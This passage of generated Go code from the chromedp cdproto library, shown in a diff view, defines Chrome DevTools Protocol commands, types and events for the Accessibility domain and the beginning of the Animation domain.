func (p GetPartialAXTreeParams) WithObjectID(objectID runtime.RemoteObjectID) *GetPartialAXTreeParams {
p.ObjectID = objectID
return &p
}
// WithFetchRelatives whether to fetch this nodes ancestors, siblings and
// children. Defaults to true.
func (p GetPartialAXTreeParams) WithFetchRelatives(fetchRelatives bool) *GetPartialAXTreeParams {
p.FetchRelatives = fetchRelatives
return &p
}
// GetPartialAXTreeReturns return values.
type GetPartialAXTreeReturns struct {
Nodes []*Node `json:"nodes,omitempty"` // The Accessibility.AXNode for this DOM node, if it exists, plus its ancestors, siblings and children, if requested.
}
// Do executes Accessibility.getPartialAXTree against the provided context.
//
// returns:
//
// nodes - The Accessibility.AXNode for this DOM node, if it exists, plus its ancestors, siblings and children, if requested.
func (p *GetPartialAXTreeParams) Do(ctx context.Context) (nodes []*Node, err error) {
// execute
var res GetPartialAXTreeReturns
err = cdp.Execute(ctx, CommandGetPartialAXTree, p, &res)
if err != nil {
return nil, err
}
return res.Nodes, nil
}
// GetFullAXTreeParams fetches the entire accessibility tree for the root
// Document.
type GetFullAXTreeParams struct {
Depth int64 `json:"depth,omitempty"` // The maximum depth at which descendants of the root node should be retrieved. If omitted, the full tree is returned.
FrameID cdp.FrameID `json:"frameId,omitempty"` // The frame for whose document the AX tree should be retrieved. If omitted, the root frame is used.
}
// GetFullAXTree fetches the entire accessibility tree for the root Document.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getFullAXTree
//
// parameters:
func GetFullAXTree() *GetFullAXTreeParams {
return &GetFullAXTreeParams{}
}
// WithDepth the maximum depth at which descendants of the root node should
// be retrieved. If omitted, the full tree is returned.
func (p GetFullAXTreeParams) WithDepth(depth int64) *GetFullAXTreeParams {
p.Depth = depth
return &p
}
// WithFrameID the frame for whose document the AX tree should be retrieved.
// If omitted, the root frame is used.
func (p GetFullAXTreeParams) WithFrameID(frameID cdp.FrameID) *GetFullAXTreeParams {
p.FrameID = frameID
return &p
}
// GetFullAXTreeReturns return values.
type GetFullAXTreeReturns struct {
Nodes []*Node `json:"nodes,omitempty"`
}
// Do executes Accessibility.getFullAXTree against the provided context.
//
// returns:
//
// nodes
func (p *GetFullAXTreeParams) Do(ctx context.Context) (nodes []*Node, err error) {
// execute
var res GetFullAXTreeReturns
err = cdp.Execute(ctx, CommandGetFullAXTree, p, &res)
if err != nil {
return nil, err
}
return res.Nodes, nil
}
// GetRootAXNodeParams fetches the root node. Requires enable() to have been
// called previously.
type GetRootAXNodeParams struct {
FrameID cdp.FrameID `json:"frameId,omitempty"` // The frame in whose document the node resides. If omitted, the root frame is used.
}
// GetRootAXNode fetches the root node. Requires enable() to have been called
// previously.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getRootAXNode
//
// parameters:
func GetRootAXNode() *GetRootAXNodeParams {
return &GetRootAXNodeParams{}
}
// WithFrameID the frame in whose document the node resides. If omitted, the
// root frame is used.
func (p GetRootAXNodeParams) WithFrameID(frameID cdp.FrameID) *GetRootAXNodeParams {
p.FrameID = frameID
return &p
}
// GetRootAXNodeReturns return values.
type GetRootAXNodeReturns struct {
Node *Node `json:"node,omitempty"`
}
// Do executes Accessibility.getRootAXNode against the provided context.
//
// returns:
//
// node
func (p *GetRootAXNodeParams) Do(ctx context.Context) (node *Node, err error) {
// execute
var res GetRootAXNodeReturns
err = cdp.Execute(ctx, CommandGetRootAXNode, p, &res)
if err != nil {
return nil, err
}
return res.Node, nil
}
// GetAXNodeAndAncestorsParams fetches a node and all ancestors up to and
// including the root. Requires enable() to have been called previously.
type GetAXNodeAndAncestorsParams struct {
NodeID cdp.NodeID `json:"nodeId,omitempty"` // Identifier of the node to get.
BackendNodeID cdp.BackendNodeID `json:"backendNodeId,omitempty"` // Identifier of the backend node to get.
ObjectID runtime.RemoteObjectID `json:"objectId,omitempty"` // JavaScript object id of the node wrapper to get.
}
// GetAXNodeAndAncestors fetches a node and all ancestors up to and including
// the root. Requires enable() to have been called previously.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getAXNodeAndAncestors
//
// parameters:
func GetAXNodeAndAncestors() *GetAXNodeAndAncestorsParams {
return &GetAXNodeAndAncestorsParams{}
}
// WithNodeID identifier of the node to get.
func (p GetAXNodeAndAncestorsParams) WithNodeID(nodeID cdp.NodeID) *GetAXNodeAndAncestorsParams {
p.NodeID = nodeID
return &p
}
// WithBackendNodeID identifier of the backend node to get.
func (p GetAXNodeAndAncestorsParams) WithBackendNodeID(backendNodeID cdp.BackendNodeID) *GetAXNodeAndAncestorsParams {
p.BackendNodeID = backendNodeID
return &p
}
// WithObjectID JavaScript object id of the node wrapper to get.
func (p GetAXNodeAndAncestorsParams) WithObjectID(objectID runtime.RemoteObjectID) *GetAXNodeAndAncestorsParams {
p.ObjectID = objectID
return &p
}
// GetAXNodeAndAncestorsReturns return values.
type GetAXNodeAndAncestorsReturns struct {
Nodes []*Node `json:"nodes,omitempty"`
}
// Do executes Accessibility.getAXNodeAndAncestors against the provided context.
//
// returns:
//
// nodes
func (p *GetAXNodeAndAncestorsParams) Do(ctx context.Context) (nodes []*Node, err error) {
// execute
var res GetAXNodeAndAncestorsReturns
err = cdp.Execute(ctx, CommandGetAXNodeAndAncestors, p, &res)
if err != nil {
return nil, err
}
return res.Nodes, nil
}
// GetChildAXNodesParams fetches a particular accessibility node by AXNodeId.
// Requires enable() to have been called previously.
type GetChildAXNodesParams struct {
ID NodeID `json:"id"`
FrameID cdp.FrameID `json:"frameId,omitempty"` // The frame in whose document the node resides. If omitted, the root frame is used.
}
// GetChildAXNodes fetches a particular accessibility node by AXNodeId.
// Requires enable() to have been called previously.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getChildAXNodes
//
// parameters:
//
// id
func GetChildAXNodes(id NodeID) *GetChildAXNodesParams {
return &GetChildAXNodesParams{
ID: id,
}
}
// WithFrameID the frame in whose document the node resides. If omitted, the
// root frame is used.
func (p GetChildAXNodesParams) WithFrameID(frameID cdp.FrameID) *GetChildAXNodesParams {
p.FrameID = frameID
return &p
}
// GetChildAXNodesReturns return values.
type GetChildAXNodesReturns struct {
Nodes []*Node `json:"nodes,omitempty"`
}
// Do executes Accessibility.getChildAXNodes against the provided context.
//
// returns:
//
// nodes
func (p *GetChildAXNodesParams) Do(ctx context.Context) (nodes []*Node, err error) {
// execute
var res GetChildAXNodesReturns
err = cdp.Execute(ctx, CommandGetChildAXNodes, p, &res)
if err != nil {
return nil, err
}
return res.Nodes, nil
}
// QueryAXTreeParams query a DOM node's accessibility subtree for accessible
// name and role. This command computes the name and role for all nodes in the
// subtree, including those that are ignored for accessibility, and returns
// those that mactch the specified name and role. If no DOM node is specified,
// or the DOM node does not exist, the command returns an error. If neither
// accessibleName or role is specified, it returns all the accessibility nodes
// in the subtree.
type QueryAXTreeParams struct {
NodeID cdp.NodeID `json:"nodeId,omitempty"` // Identifier of the node for the root to query.
BackendNodeID cdp.BackendNodeID `json:"backendNodeId,omitempty"` // Identifier of the backend node for the root to query.
ObjectID runtime.RemoteObjectID `json:"objectId,omitempty"` // JavaScript object id of the node wrapper for the root to query.
AccessibleName string `json:"accessibleName,omitempty"` // Find nodes with this computed name.
Role string `json:"role,omitempty"` // Find nodes with this computed role.
}
// QueryAXTree query a DOM node's accessibility subtree for accessible name
// and role. This command computes the name and role for all nodes in the
// subtree, including those that are ignored for accessibility, and returns
// those that mactch the specified name and role. If no DOM node is specified,
// or the DOM node does not exist, the command returns an error. If neither
// accessibleName or role is specified, it returns all the accessibility nodes
// in the subtree.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-queryAXTree
//
// parameters:
func QueryAXTree() *QueryAXTreeParams {
return &QueryAXTreeParams{}
}
// WithNodeID identifier of the node for the root to query.
func (p QueryAXTreeParams) WithNodeID(nodeID cdp.NodeID) *QueryAXTreeParams {
p.NodeID = nodeID
return &p
}
// WithBackendNodeID identifier of the backend node for the root to query.
func (p QueryAXTreeParams) WithBackendNodeID(backendNodeID cdp.BackendNodeID) *QueryAXTreeParams {
p.BackendNodeID = backendNodeID
return &p
}
// WithObjectID JavaScript object id of the node wrapper for the root to
// query.
func (p QueryAXTreeParams) WithObjectID(objectID runtime.RemoteObjectID) *QueryAXTreeParams {
p.ObjectID = objectID
return &p
}
// WithAccessibleName find nodes with this computed name.
func (p QueryAXTreeParams) WithAccessibleName(accessibleName string) *QueryAXTreeParams {
p.AccessibleName = accessibleName
return &p
}
// WithRole find nodes with this computed role.
func (p QueryAXTreeParams) WithRole(role string) *QueryAXTreeParams {
p.Role = role
return &p
}
// QueryAXTreeReturns return values.
type QueryAXTreeReturns struct {
Nodes []*Node `json:"nodes,omitempty"` // A list of Accessibility.AXNode matching the specified attributes, including nodes that are ignored for accessibility.
}
// Do executes Accessibility.queryAXTree against the provided context.
//
// returns:
//
// nodes - A list of Accessibility.AXNode matching the specified attributes, including nodes that are ignored for accessibility.
func (p *QueryAXTreeParams) Do(ctx context.Context) (nodes []*Node, err error) {
// execute
var res QueryAXTreeReturns
err = cdp.Execute(ctx, CommandQueryAXTree, p, &res)
if err != nil {
return nil, err
}
return res.Nodes, nil
}
// Command names.
const (
CommandDisable = "Accessibility.disable"
CommandEnable = "Accessibility.enable"
CommandGetPartialAXTree = "Accessibility.getPartialAXTree"
CommandGetFullAXTree = "Accessibility.getFullAXTree"
CommandGetRootAXNode = "Accessibility.getRootAXNode"
CommandGetAXNodeAndAncestors = "Accessibility.getAXNodeAndAncestors"
CommandGetChildAXNodes = "Accessibility.getChildAXNodes"
CommandQueryAXTree = "Accessibility.queryAXTree"
)
File diff suppressed because it is too large. Load diff
+20
View File
@@ -0,0 +1,20 @@
package accessibility
// Code generated by cdproto-gen. DO NOT EDIT.
// EventLoadComplete the loadComplete event mirrors the load complete event
// sent by the browser to assistive technology when the web page has finished
// loading.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#event-loadComplete
type EventLoadComplete struct {
Root *Node `json:"root"` // New document root node.
}
// EventNodesUpdated the nodesUpdated event is sent every time a previously
// requested node has changed the in tree.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#event-nodesUpdated
type EventNodesUpdated struct {
Nodes []*Node `json:"nodes"` // Updated node data.
}
+457
View File
@@ -0,0 +1,457 @@
package accessibility
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"github.com/chromedp/cdproto/cdp"
"github.com/mailru/easyjson"
"github.com/mailru/easyjson/jlexer"
"github.com/mailru/easyjson/jwriter"
)
// NodeID unique accessibility node identifier.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXNodeId
type NodeID string
// String returns the NodeID as string value.
func (t NodeID) String() string {
return string(t)
}
// ValueType enum of possible property types.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValueType
type ValueType string
// String returns the ValueType as string value.
func (t ValueType) String() string {
return string(t)
}
// ValueType values.
const (
ValueTypeBoolean ValueType = "boolean"
ValueTypeTristate ValueType = "tristate"
ValueTypeBooleanOrUndefined ValueType = "booleanOrUndefined"
ValueTypeIdref ValueType = "idref"
ValueTypeIdrefList ValueType = "idrefList"
ValueTypeInteger ValueType = "integer"
ValueTypeNode ValueType = "node"
ValueTypeNodeList ValueType = "nodeList"
ValueTypeNumber ValueType = "number"
ValueTypeString ValueType = "string"
ValueTypeComputedString ValueType = "computedString"
ValueTypeToken ValueType = "token"
ValueTypeTokenList ValueType = "tokenList"
ValueTypeDomRelation ValueType = "domRelation"
ValueTypeRole ValueType = "role"
ValueTypeInternalRole ValueType = "internalRole"
ValueTypeValueUndefined ValueType = "valueUndefined"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t ValueType) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t ValueType) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ValueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ValueType(in.String()) {
case ValueTypeBoolean:
*t = ValueTypeBoolean
case ValueTypeTristate:
*t = ValueTypeTristate
case ValueTypeBooleanOrUndefined:
*t = ValueTypeBooleanOrUndefined
case ValueTypeIdref:
*t = ValueTypeIdref
case ValueTypeIdrefList:
*t = ValueTypeIdrefList
case ValueTypeInteger:
*t = ValueTypeInteger
case ValueTypeNode:
*t = ValueTypeNode
case ValueTypeNodeList:
*t = ValueTypeNodeList
case ValueTypeNumber:
*t = ValueTypeNumber
case ValueTypeString:
*t = ValueTypeString
case ValueTypeComputedString:
*t = ValueTypeComputedString
case ValueTypeToken:
*t = ValueTypeToken
case ValueTypeTokenList:
*t = ValueTypeTokenList
case ValueTypeDomRelation:
*t = ValueTypeDomRelation
case ValueTypeRole:
*t = ValueTypeRole
case ValueTypeInternalRole:
*t = ValueTypeInternalRole
case ValueTypeValueUndefined:
*t = ValueTypeValueUndefined
default:
in.AddError(errors.New("unknown ValueType value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *ValueType) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// ValueSourceType enum of possible property sources.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValueSourceType
type ValueSourceType string
// String returns the ValueSourceType as string value.
func (t ValueSourceType) String() string {
return string(t)
}
// ValueSourceType values.
const (
ValueSourceTypeAttribute ValueSourceType = "attribute"
ValueSourceTypeImplicit ValueSourceType = "implicit"
ValueSourceTypeStyle ValueSourceType = "style"
ValueSourceTypeContents ValueSourceType = "contents"
ValueSourceTypePlaceholder ValueSourceType = "placeholder"
ValueSourceTypeRelatedElement ValueSourceType = "relatedElement"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t ValueSourceType) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t ValueSourceType) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ValueSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ValueSourceType(in.String()) {
case ValueSourceTypeAttribute:
*t = ValueSourceTypeAttribute
case ValueSourceTypeImplicit:
*t = ValueSourceTypeImplicit
case ValueSourceTypeStyle:
*t = ValueSourceTypeStyle
case ValueSourceTypeContents:
*t = ValueSourceTypeContents
case ValueSourceTypePlaceholder:
*t = ValueSourceTypePlaceholder
case ValueSourceTypeRelatedElement:
*t = ValueSourceTypeRelatedElement
default:
in.AddError(errors.New("unknown ValueSourceType value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *ValueSourceType) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// ValueNativeSourceType enum of possible native property sources (as a
// subtype of a particular AXValueSourceType).
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValueNativeSourceType
type ValueNativeSourceType string
// String returns the ValueNativeSourceType as string value.
func (t ValueNativeSourceType) String() string {
return string(t)
}
// ValueNativeSourceType values.
const (
ValueNativeSourceTypeDescription ValueNativeSourceType = "description"
ValueNativeSourceTypeFigcaption ValueNativeSourceType = "figcaption"
ValueNativeSourceTypeLabel ValueNativeSourceType = "label"
ValueNativeSourceTypeLabelfor ValueNativeSourceType = "labelfor"
ValueNativeSourceTypeLabelwrapped ValueNativeSourceType = "labelwrapped"
ValueNativeSourceTypeLegend ValueNativeSourceType = "legend"
ValueNativeSourceTypeRubyannotation ValueNativeSourceType = "rubyannotation"
ValueNativeSourceTypeTablecaption ValueNativeSourceType = "tablecaption"
ValueNativeSourceTypeTitle ValueNativeSourceType = "title"
ValueNativeSourceTypeOther ValueNativeSourceType = "other"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t ValueNativeSourceType) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t ValueNativeSourceType) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ValueNativeSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ValueNativeSourceType(in.String()) {
case ValueNativeSourceTypeDescription:
*t = ValueNativeSourceTypeDescription
case ValueNativeSourceTypeFigcaption:
*t = ValueNativeSourceTypeFigcaption
case ValueNativeSourceTypeLabel:
*t = ValueNativeSourceTypeLabel
case ValueNativeSourceTypeLabelfor:
*t = ValueNativeSourceTypeLabelfor
case ValueNativeSourceTypeLabelwrapped:
*t = ValueNativeSourceTypeLabelwrapped
case ValueNativeSourceTypeLegend:
*t = ValueNativeSourceTypeLegend
case ValueNativeSourceTypeRubyannotation:
*t = ValueNativeSourceTypeRubyannotation
case ValueNativeSourceTypeTablecaption:
*t = ValueNativeSourceTypeTablecaption
case ValueNativeSourceTypeTitle:
*t = ValueNativeSourceTypeTitle
case ValueNativeSourceTypeOther:
*t = ValueNativeSourceTypeOther
default:
in.AddError(errors.New("unknown ValueNativeSourceType value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *ValueNativeSourceType) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// ValueSource a single source for a computed AX property.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValueSource
type ValueSource struct {
Type ValueSourceType `json:"type"` // What type of source this is.
Value *Value `json:"value,omitempty"` // The value of this property source.
Attribute string `json:"attribute,omitempty"` // The name of the relevant attribute, if any.
AttributeValue *Value `json:"attributeValue,omitempty"` // The value of the relevant attribute, if any.
Superseded bool `json:"superseded,omitempty"` // Whether this source is superseded by a higher priority source.
NativeSource ValueNativeSourceType `json:"nativeSource,omitempty"` // The native markup source for this value, e.g. a <label> element.
NativeSourceValue *Value `json:"nativeSourceValue,omitempty"` // The value, such as a node or node list, of the native source.
Invalid bool `json:"invalid,omitempty"` // Whether the value for this property is invalid.
InvalidReason string `json:"invalidReason,omitempty"` // Reason for the value being invalid, if it is.
}
// RelatedNode [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXRelatedNode
type RelatedNode struct {
BackendDOMNodeID cdp.BackendNodeID `json:"backendDOMNodeId"` // The BackendNodeId of the related DOM node.
Idref string `json:"idref,omitempty"` // The IDRef value provided, if any.
Text string `json:"text,omitempty"` // The text alternative of this node in the current context.
}
// Property [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXProperty
type Property struct {
Name PropertyName `json:"name"` // The name of this property.
Value *Value `json:"value"` // The value of this property.
}
// Value a single computed AX property.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValue
type Value struct {
Type ValueType `json:"type"` // The type of this value.
Value easyjson.RawMessage `json:"value,omitempty"` // The computed value of this property.
RelatedNodes []*RelatedNode `json:"relatedNodes,omitempty"` // One or more related nodes, if applicable.
Sources []*ValueSource `json:"sources,omitempty"` // The sources which contributed to the computation of this property.
}
// PropertyName values of AXProperty name: - from 'busy' to
// 'roledescription': states which apply to every AX node - from 'live' to
// 'root': attributes which apply to nodes in live regions - from 'autocomplete'
// to 'valuetext': attributes which apply to widgets - from 'checked' to
// 'selected': states which apply to widgets - from 'activedescendant' to 'owns'
// - relationships between elements other than parent/child/sibling.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXPropertyName
type PropertyName string
// String returns the PropertyName as string value.
func (t PropertyName) String() string {
return string(t)
}
// PropertyName values.
const (
PropertyNameBusy PropertyName = "busy"
PropertyNameDisabled PropertyName = "disabled"
PropertyNameEditable PropertyName = "editable"
PropertyNameFocusable PropertyName = "focusable"
PropertyNameFocused PropertyName = "focused"
PropertyNameHidden PropertyName = "hidden"
PropertyNameHiddenRoot PropertyName = "hiddenRoot"
PropertyNameInvalid PropertyName = "invalid"
PropertyNameKeyshortcuts PropertyName = "keyshortcuts"
PropertyNameSettable PropertyName = "settable"
PropertyNameRoledescription PropertyName = "roledescription"
PropertyNameLive PropertyName = "live"
PropertyNameAtomic PropertyName = "atomic"
PropertyNameRelevant PropertyName = "relevant"
PropertyNameRoot PropertyName = "root"
PropertyNameAutocomplete PropertyName = "autocomplete"
PropertyNameHasPopup PropertyName = "hasPopup"
PropertyNameLevel PropertyName = "level"
PropertyNameMultiselectable PropertyName = "multiselectable"
PropertyNameOrientation PropertyName = "orientation"
PropertyNameMultiline PropertyName = "multiline"
PropertyNameReadonly PropertyName = "readonly"
PropertyNameRequired PropertyName = "required"
PropertyNameValuemin PropertyName = "valuemin"
PropertyNameValuemax PropertyName = "valuemax"
PropertyNameValuetext PropertyName = "valuetext"
PropertyNameChecked PropertyName = "checked"
PropertyNameExpanded PropertyName = "expanded"
PropertyNameModal PropertyName = "modal"
PropertyNamePressed PropertyName = "pressed"
PropertyNameSelected PropertyName = "selected"
PropertyNameActivedescendant PropertyName = "activedescendant"
PropertyNameControls PropertyName = "controls"
PropertyNameDescribedby PropertyName = "describedby"
PropertyNameDetails PropertyName = "details"
PropertyNameErrormessage PropertyName = "errormessage"
PropertyNameFlowto PropertyName = "flowto"
PropertyNameLabelledby PropertyName = "labelledby"
PropertyNameOwns PropertyName = "owns"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t PropertyName) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t PropertyName) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *PropertyName) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch PropertyName(in.String()) {
case PropertyNameBusy:
*t = PropertyNameBusy
case PropertyNameDisabled:
*t = PropertyNameDisabled
case PropertyNameEditable:
*t = PropertyNameEditable
case PropertyNameFocusable:
*t = PropertyNameFocusable
case PropertyNameFocused:
*t = PropertyNameFocused
case PropertyNameHidden:
*t = PropertyNameHidden
case PropertyNameHiddenRoot:
*t = PropertyNameHiddenRoot
case PropertyNameInvalid:
*t = PropertyNameInvalid
case PropertyNameKeyshortcuts:
*t = PropertyNameKeyshortcuts
case PropertyNameSettable:
*t = PropertyNameSettable
case PropertyNameRoledescription:
*t = PropertyNameRoledescription
case PropertyNameLive:
*t = PropertyNameLive
case PropertyNameAtomic:
*t = PropertyNameAtomic
case PropertyNameRelevant:
*t = PropertyNameRelevant
case PropertyNameRoot:
*t = PropertyNameRoot
case PropertyNameAutocomplete:
*t = PropertyNameAutocomplete
case PropertyNameHasPopup:
*t = PropertyNameHasPopup
case PropertyNameLevel:
*t = PropertyNameLevel
case PropertyNameMultiselectable:
*t = PropertyNameMultiselectable
case PropertyNameOrientation:
*t = PropertyNameOrientation
case PropertyNameMultiline:
*t = PropertyNameMultiline
case PropertyNameReadonly:
*t = PropertyNameReadonly
case PropertyNameRequired:
*t = PropertyNameRequired
case PropertyNameValuemin:
*t = PropertyNameValuemin
case PropertyNameValuemax:
*t = PropertyNameValuemax
case PropertyNameValuetext:
*t = PropertyNameValuetext
case PropertyNameChecked:
*t = PropertyNameChecked
case PropertyNameExpanded:
*t = PropertyNameExpanded
case PropertyNameModal:
*t = PropertyNameModal
case PropertyNamePressed:
*t = PropertyNamePressed
case PropertyNameSelected:
*t = PropertyNameSelected
case PropertyNameActivedescendant:
*t = PropertyNameActivedescendant
case PropertyNameControls:
*t = PropertyNameControls
case PropertyNameDescribedby:
*t = PropertyNameDescribedby
case PropertyNameDetails:
*t = PropertyNameDetails
case PropertyNameErrormessage:
*t = PropertyNameErrormessage
case PropertyNameFlowto:
*t = PropertyNameFlowto
case PropertyNameLabelledby:
*t = PropertyNameLabelledby
case PropertyNameOwns:
*t = PropertyNameOwns
default:
in.AddError(errors.New("unknown PropertyName value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *PropertyName) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// Node a node in the accessibility tree.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXNode
type Node struct {
NodeID NodeID `json:"nodeId"` // Unique identifier for this node.
Ignored bool `json:"ignored"` // Whether this node is ignored for accessibility
IgnoredReasons []*Property `json:"ignoredReasons,omitempty"` // Collection of reasons why this node is hidden.
Role *Value `json:"role,omitempty"` // This Node's role, whether explicit or implicit.
ChromeRole *Value `json:"chromeRole,omitempty"` // This Node's Chrome raw role.
Name *Value `json:"name,omitempty"` // The accessible name for this Node.
Description *Value `json:"description,omitempty"` // The accessible description for this Node.
Value *Value `json:"value,omitempty"` // The value for this Node.
Properties []*Property `json:"properties,omitempty"` // All other properties
ParentID NodeID `json:"parentId,omitempty"` // ID for this node's parent.
ChildIDs []NodeID `json:"childIds,omitempty"` // IDs for each of this node's child nodes.
BackendDOMNodeID cdp.BackendNodeID `json:"backendDOMNodeId,omitempty"` // The backend ID for the associated DOM node, if any.
FrameID cdp.FrameID `json:"frameId,omitempty"` // The frame ID for the frame associated with this nodes document.
}
+298
View File
@@ -0,0 +1,298 @@
// Package animation provides the Chrome DevTools Protocol
// commands, types, and events for the Animation domain.
//
// Generated by the cdproto-gen command.
package animation
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"context"
"github.com/chromedp/cdproto/cdp"
"github.com/chromedp/cdproto/runtime"
)
// DisableParams disables animation domain notifications.
type DisableParams struct{}
// Disable disables animation domain notifications.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-disable
func Disable() *DisableParams {
return &DisableParams{}
}
// Do executes Animation.disable against the provided context.
func (p *DisableParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandDisable, nil, nil)
}
// EnableParams enables animation domain notifications.
type EnableParams struct{}
// Enable enables animation domain notifications.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-enable
func Enable() *EnableParams {
return &EnableParams{}
}
// Do executes Animation.enable against the provided context.
func (p *EnableParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandEnable, nil, nil)
}
// GetCurrentTimeParams returns the current time of the an animation.
type GetCurrentTimeParams struct {
ID string `json:"id"` // Id of animation.
}
// GetCurrentTime returns the current time of the an animation.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-getCurrentTime
//
// parameters:
//
// id - Id of animation.
func GetCurrentTime(id string) *GetCurrentTimeParams {
return &GetCurrentTimeParams{
ID: id,
}
}
// GetCurrentTimeReturns return values.
type GetCurrentTimeReturns struct {
CurrentTime float64 `json:"currentTime,omitempty"` // Current time of the page.
}
// Do executes Animation.getCurrentTime against the provided context.
//
// returns:
//
// currentTime - Current time of the page.
func (p *GetCurrentTimeParams) Do(ctx context.Context) (currentTime float64, err error) {
// execute
var res GetCurrentTimeReturns
err = cdp.Execute(ctx, CommandGetCurrentTime, p, &res)
if err != nil {
return 0, err
}
return res.CurrentTime, nil
}
// GetPlaybackRateParams gets the playback rate of the document timeline.
type GetPlaybackRateParams struct{}
// GetPlaybackRate gets the playback rate of the document timeline.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-getPlaybackRate
func GetPlaybackRate() *GetPlaybackRateParams {
return &GetPlaybackRateParams{}
}
// GetPlaybackRateReturns return values.
type GetPlaybackRateReturns struct {
PlaybackRate float64 `json:"playbackRate,omitempty"` // Playback rate for animations on page.
}
// Do executes Animation.getPlaybackRate against the provided context.
//
// returns:
//
// playbackRate - Playback rate for animations on page.
func (p *GetPlaybackRateParams) Do(ctx context.Context) (playbackRate float64, err error) {
// execute
var res GetPlaybackRateReturns
err = cdp.Execute(ctx, CommandGetPlaybackRate, nil, &res)
if err != nil {
return 0, err
}
return res.PlaybackRate, nil
}
// ReleaseAnimationsParams releases a set of animations to no longer be
// manipulated.
type ReleaseAnimationsParams struct {
Animations []string `json:"animations"` // List of animation ids to seek.
}
// ReleaseAnimations releases a set of animations to no longer be
// manipulated.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-releaseAnimations
//
// parameters:
//
// animations - List of animation ids to seek.
func ReleaseAnimations(animations []string) *ReleaseAnimationsParams {
return &ReleaseAnimationsParams{
Animations: animations,
}
}
// Do executes Animation.releaseAnimations against the provided context.
func (p *ReleaseAnimationsParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandReleaseAnimations, p, nil)
}
// ResolveAnimationParams gets the remote object of the Animation.
type ResolveAnimationParams struct {
AnimationID string `json:"animationId"` // Animation id.
}
// ResolveAnimation gets the remote object of the Animation.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-resolveAnimation
//
// parameters:
//
// animationID - Animation id.
func ResolveAnimation(animationID string) *ResolveAnimationParams {
return &ResolveAnimationParams{
AnimationID: animationID,
}
}
// ResolveAnimationReturns return values.
type ResolveAnimationReturns struct {
RemoteObject *runtime.RemoteObject `json:"remoteObject,omitempty"` // Corresponding remote object.
}
// Do executes Animation.resolveAnimation against the provided context.
//
// returns:
//
// remoteObject - Corresponding remote object.
func (p *ResolveAnimationParams) Do(ctx context.Context) (remoteObject *runtime.RemoteObject, err error) {
// execute
var res ResolveAnimationReturns
err = cdp.Execute(ctx, CommandResolveAnimation, p, &res)
if err != nil {
return nil, err
}
return res.RemoteObject, nil
}
// SeekAnimationsParams seek a set of animations to a particular time within
// each animation.
type SeekAnimationsParams struct {
Animations []string `json:"animations"` // List of animation ids to seek.
CurrentTime float64 `json:"currentTime"` // Set the current time of each animation.
}
// SeekAnimations seek a set of animations to a particular time within each
// animation.
//
